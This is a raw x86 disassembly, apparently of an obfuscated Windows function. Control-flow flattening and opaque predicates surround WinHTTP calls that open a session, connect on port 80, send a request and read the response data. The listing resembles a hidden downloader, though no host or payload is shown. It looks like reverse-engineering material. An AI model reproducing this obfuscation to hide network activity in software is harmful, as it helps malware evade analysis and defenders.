jmp 0x422f09
mov eax, dword [ebp - 0x18]
imul ecx, eax, 0xbb
imul ecx, ecx
imul edx, ecx, 0x876b
imul eax, eax, 0x77cc
dec edx
add eax, 0x67
mov dword [ebp - 0x18], eax
mov eax, 0x8d632ed1
cmp ecx, edx
je 0x424bbd
mov eax, 0xb6220657
jmp 0x424bbd
mov ecx, dword [ebp - 0x14]
mov eax, 0xc1
add ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, 0xf53cb2ee
cmp ecx, 0xec
je 0x424bbd
mov eax, 0x3f980cc8
jmp 0x424bbd
mov ecx, dword [ebp - 0x14]
mov eax, ecx
shr eax, 3
add eax, 0xffffffb4
mov dword [ebp - 0x14], eax
mov eax, 0x77feca2e
cmp ecx, 0x570
jb 0x424bbd
mov eax, 0x2cfbd5ee
jmp 0x424bbd
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x10], 0x81e29d54
jmp 0x422f09
mov eax, dword [ebp - 0x30]
cmp byte [eax], 0x6f
mov eax, 0x59d4edc1
je 0x424bbd
mov eax, 0xa7fcb677
jmp 0x424bbd
imul eax, dword [ebp - 0x14], 0x2ed4000
shr eax, 0xe
imul ecx, eax, 0x52
add ecx, 0xffffff37
mov dword [ebp - 0x14], ecx
mov eax, 0x7ed4275a
cmp ecx, 0xf1
jae 0x424bbd
mov eax, 0xb0d5342d
jmp 0x424bbd
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], 0x8c153c98
jmp 0x422f09
mov dword [ebp - 0x10], 0x326880a5
jmp 0x422f09
mov dword [ebp - 0x10], 0x2cfbd5ee
jmp 0x422f09
mov ecx, dword [ebp - 0x14]
shr ecx, 8
add ecx, 0xfffffe65
mov dword [ebp - 0x14], ecx
mov eax, 0x635a8021
cmp ecx, 0x8f
jb 0x424772
jmp 0x424bbd
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x8c]
add eax, ecx
inc eax
push eax
push dword [ebp - 0x88]
call fcn.0045dad1
add esp, 8
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x10], 0xfc9afeb5
jmp 0x422f09
mov eax, dword [ebp - 0x14]
shl eax, 0xc
and eax, 0x1ffff000
or eax, 0x450
mov dword [ebp - 0x14], eax
push eax
push 0x13d1
push 0x19d9
push 0x335
push 0x3875
push 0x195a
push 0xc8
push 0x22c9
push 0x40b4
push 0x3845
push 0x4919
push 0x4c8e
push 0x2f5d
push 0x1ab
call fcn.0041d035
add esp, 0x38
mov dword [ebp - 0x10], 0x3a3c0323
jmp 0x422f09
push 0x100
push dword [ebp - 0x20]
call fcn.0045e302
add esp, 8
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x10], 0xd490b5e6
jmp 0x422f09
push 0x5e
push 0x472b00
push dword [ebp - 0x3c]
call fcn.0044cd70
add esp, 0xc
mov dword [ebp - 0x10], 0x2f357b4d
jmp 0x422f09
push 0
push 0x50
lea eax, [ebp - 0x2bc]
push eax
push dword [ebp - 0x54]
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 0
mov eax, 0xadc55535
je 0x424bbd
mov eax, 0xed6ce602
jmp 0x424bbd
mov eax, dword [ebp - 0x18]
add eax, 0xffffffaf
shr eax, 2
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x290b
shl eax, 0xa
dec edx
or eax, 0xff
mov dword [ebp - 0x18], eax
mov eax, 0xab4802a6
cmp ecx, edx
je 0x4246e4
mov eax, 0xdeae4755
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x60], eax
jmp 0x422f09
mov eax, dword [ebp - 0x18]
shr eax, 1
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x4fd7
dec edx
shl eax, 0xa
add eax, 0xffffff8f
mov dword [ebp - 0x18], eax
mov eax, 0xe2e4d526
cmp ecx, edx
je 0x424bbd
mov eax, 0xf53cb2ee
jmp 0x424bbd
push dword [ebp - 0x1c]
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
setne byte [ebp - 0x26]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x10], 0xaf7469f1
jmp 0x422f09
mov ecx, dword [ebp - 0x14]
add ecx, 0xffffffa6
shr ecx, 4
add ecx, 0xffffff69
mov dword [ebp - 0x14], ecx
mov eax, 0xe5be4b7c
cmp ecx, 0x55
jae 0x424bbd
mov eax, 0x30444667
jmp 0x424bbd
push eax
sub esp, 0xdc
mov eax, esp
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x10], 0x3c221f8a
jmp 0x422f09
imul eax, dword [ebp - 0x18], 0x2854
add eax, 0xffdfe8e2
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x99c72ad8
jmp 0x422f09
push eax
sub esp, 8
mov edi, esp
mov word [edi + 8], si
mov eax, dword [0x472ae0]
mov dword [edi + 4], eax
mov eax, dword [0x472adc]
mov dword [edi], eax
mov eax, 4
push eax
push 0x472ae4
push eax
push edi
call fcn.004290b0
add esp, 0x10
sub esp, 8
mov ebx, esp
mov word [ebx + 6], si
movzx eax, word [0x472af0]
mov word [ebx + 4], ax
mov eax, dword [0x472aec]
mov dword [ebx], eax
mov eax, 3
push eax
push 0x472af2
push eax
push ebx
call fcn.004290b0
add esp, 0x10
push esi
push esi
push esi
push esi
push ebx
push edi
push dword [ebp - 0x58]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0x24], eax
mov eax, 0x56a65dc7
cmp dword [ebp - 0x24], esi
je 0x424bbd
mov eax, 0x7ef46fc5
jmp 0x424bbd
mov ecx, dword [ebp - 0x18]
shr ecx, 0xb
imul eax, ecx, 0xd2
imul ecx, ecx
imul edx, ecx, 0x4fbd
dec edx
mov dword [ebp - 0x18], eax
mov eax, 0xb6220657
cmp ecx, edx
je 0x424bbd
mov eax, 0x83a82200
jmp 0x424bbd
cmp dword [ebp - 0x40], 0
mov eax, 0x93f22630
je 0x424bbd
mov eax, 0x73d4acf
jmp 0x424bbd
mov eax, dword [ebp - 0x14]
shr eax, 0x10
lea eax, [eax*4 + 0xba]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0xf9f37ae3
jmp 0x422f09
imul eax, dword [ebp - 0x18], 0x15000
add eax, 0xffffff08
shr eax, 7
and eax, 0xfffffffc
imul eax, eax, 0x58
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xadb07a0
mov dword [ebp - 0x50], 0
jmp 0x422f09
mov eax, dword [ebp - 0x18]
lea eax, [eax*8 + 0x83]
shr eax, 0xb
add eax, 0x11f
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x64c4a4b2
jmp 0x422f09
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], 0x99c72ad8
jmp 0x422f09
mov dword [ebp - 0x10], 0x635a8021
jmp 0x422f09
mov eax, dword [ebp - 0x14]
lea ecx, [eax + eax*4]
shl ecx, 7
add ecx, 0xffffd500
mov dword [ebp - 0x14], ecx
mov eax, 0x4d79f86f
cmp ecx, 0x32
jge 0x424a9d
jmp 0x424bbd
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff7
shr eax, 0xa
imul eax, eax, 0x61
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0x59e72280
jmp 0x422f09
push 0x22
push dword [ebp - 0x20]
call fcn.0044d9d0
add esp, 8
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
mov eax, 0xdd6833a9
je 0x424bbd
mov eax, 0x6eeddbec
jmp 0x424bbd
mov eax, dword [ebp - 0x18]
shl eax, 6
add eax, 0x14e
and eax, 0xffffff00
or eax, 0xf1
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x59e72280
jmp 0x422f09
imul eax, dword [ebp - 0x18], 0x660
add eax, 0xfffad15d
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x7759dc37
jmp 0x422f09
push eax
sub esp, 0x28
mov eax, esp
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov byte [eax + 0x28], 0
mov dword [ebp - 0x10], 0x2da611d6
jmp 0x422f09
mov eax, dword [ebp - 0x18]
lea eax, [eax + eax*8]
shl eax, 0x17
add eax, 0x68c00000
jmp 0x4249f4
mov dword [ebp - 0x10], 0x7dbbe635
jmp 0x422f09
mov eax, dword [ebp - 0x18]
shl eax, 0xa
add eax, 0xfffffe77
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0xde439065
jmp 0x422f09
mov edi, dword [ebp - 0x14]
mov eax, 0xffffff79
add edi, eax
shr edi, 0xf
mov dword [ebp - 0x14], edi
push edi
push 0xa74
push 0x4c6
push 0x49e6
call fcn.004202f5
add esp, 0x10
mov eax, 0xf9f37ae3
cmp edi, 0xfe
je 0x424bbd
mov eax, 0xe424f125
jmp 0x424bbd
cmp dword [ebp - 0x74], 0
mov eax, 0x446ff40c
jne 0x424a56
mov eax, 0x617e93dd
cmp byte [ebp - 0x25], 0
jne 0x424bbd
mov eax, 0x617e93dd
jmp 0x424bbd
mov edi, dword [ebp - 0x14]
shl edi, 0xf
or edi, 0xc0
mov dword [ebp - 0x14], edi
push 0x37a5
push edi
push 0x3c2f
call fcn.0041b2aa
add esp, 0xc
mov eax, 0x697bd60a
cmp edi, 0xcd
jl 0x424bbd
mov eax, 0x7ed4275a
jmp 0x424bbd
mov dword [ebp - 0x10], 0x662f916b
jmp 0x422f09
push esi
push esi
push esi
push esi
push dword [ebp - 0x34]
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x10], 0xb2ef7c36
jmp 0x422f09
mov ecx, dword [ebp - 0x14]
shl ecx, 6
add ecx, 0xffffbdd9
mov dword [ebp - 0x14], ecx
mov eax, 0xe2e4d526
cmp ecx, 0x8f
jb 0x424bbd
mov eax, 0x64c4a4b2
jmp 0x424bbd
imul ecx, dword [ebp - 0x18], 0x5f
mov eax, ecx
imul eax, ecx
add ecx, 0x71
imul edx, eax, 0x294d
dec edx
shr ecx, 2
and ecx, 0xfffffff0
mov dword [ebp - 0x18], ecx
mov ecx, 0x8b5bda0c
cmp edx, eax
je 0x424b23
mov ecx, 0x99c72ad8
mov dword [ebp - 0x10], ecx
jmp 0x422f09
mov eax, dword [ebp - 0x14]
shr eax, 6
imul ecx, eax, 0xef0
add ecx, 0xfffffebc
mov dword [ebp - 0x14], ecx
mov eax, 0xf2b2172c
cmp ecx, 0x21
jb 0x424bbd
mov eax, 0xa40f885
jmp 0x424bbd
mov eax, dword [ebp - 0x18]
shl eax, 0xb
and eax, 0x3fff800
add eax, 0xffffff37
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x3f980cc8
jmp 0x422f09
mov ecx, dword [ebp - 0x14]
shr ecx, 4
add ecx, 0xffffffc0
mov dword [ebp - 0x14], ecx
mov eax, 0xb6220657
cmp ecx, 0x8d
jae 0x424bbd
mov eax, 0x613bcbe0
jmp 0x424bbd
mov dword [ebp - 0x10], 0xe94d5c60
jmp 0x422f09
mov eax, dword [ebp - 0x14]
shr eax, 0xe
and eax, 0xfffffffe
imul ecx, eax, 0x7c
mov dword [ebp - 0x14], ecx
mov eax, 0x59e72280
cmp ecx, 0x99
jb 0x424bbd
mov eax, 0x9baa9be4
mov dword [ebp - 0x10], eax
jmp 0x422f09
push dword [ebp - 0x1c]
push dword [ebp - 0x24]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x10], 0x822d09c5
jmp 0x422f09
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x10], 0x1fe8acfd
jmp 0x422f09
mov eax, dword [ebp - 0x14]
shl eax, 0x12
mov edi, 0x47925a1d
and eax, 0x3ffc0000
mov dword [ebp - 0x14], eax
je 0x424c11
mov edi, 0x25ce4b6c
push 0x5254
push 0x21f5
push eax
call fcn.004210d3
add esp, 0xc
mov dword [ebp - 0x10], edi
jmp 0x422f09
mov dword [ebp - 0x10], 0x590148a
jmp 0x422f09
mov edi, dword [ebp - 0x14]
shr edi, 0xc
and edi, 0xfffffff0
add edi, 0xfffff800
mov dword [ebp - 0x14], edi
push 0x64b
push edi
push 0x1678
push 0x2ec
call fcn.00415cd1
add esp, 0x10
push edi
push 0xca5
call fcn.004204e0
add esp, 8
mov dword [ebp - 0x10], 0x2bdaf2d1
jmp 0x422f09
push dword [ebp - 0x58]
call dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [ebp - 0x10], 0xadc55535
jmp 0x422f09
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x10], 0xf2b2172c
jmp 0x422f09
cmp eax, 0xadb07a0
je 0x424ce0
jmp 0x422f09
cmp eax, 0x3a3c0323
jne 0x422f09
mov eax, dword [ebp - 0x14]
add eax, 0xffffff97
mov dword [ebp - 0x14], eax
push eax
push 0x2624
call fcn.004204e0
mov eax, dword [ebp - 0x50]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret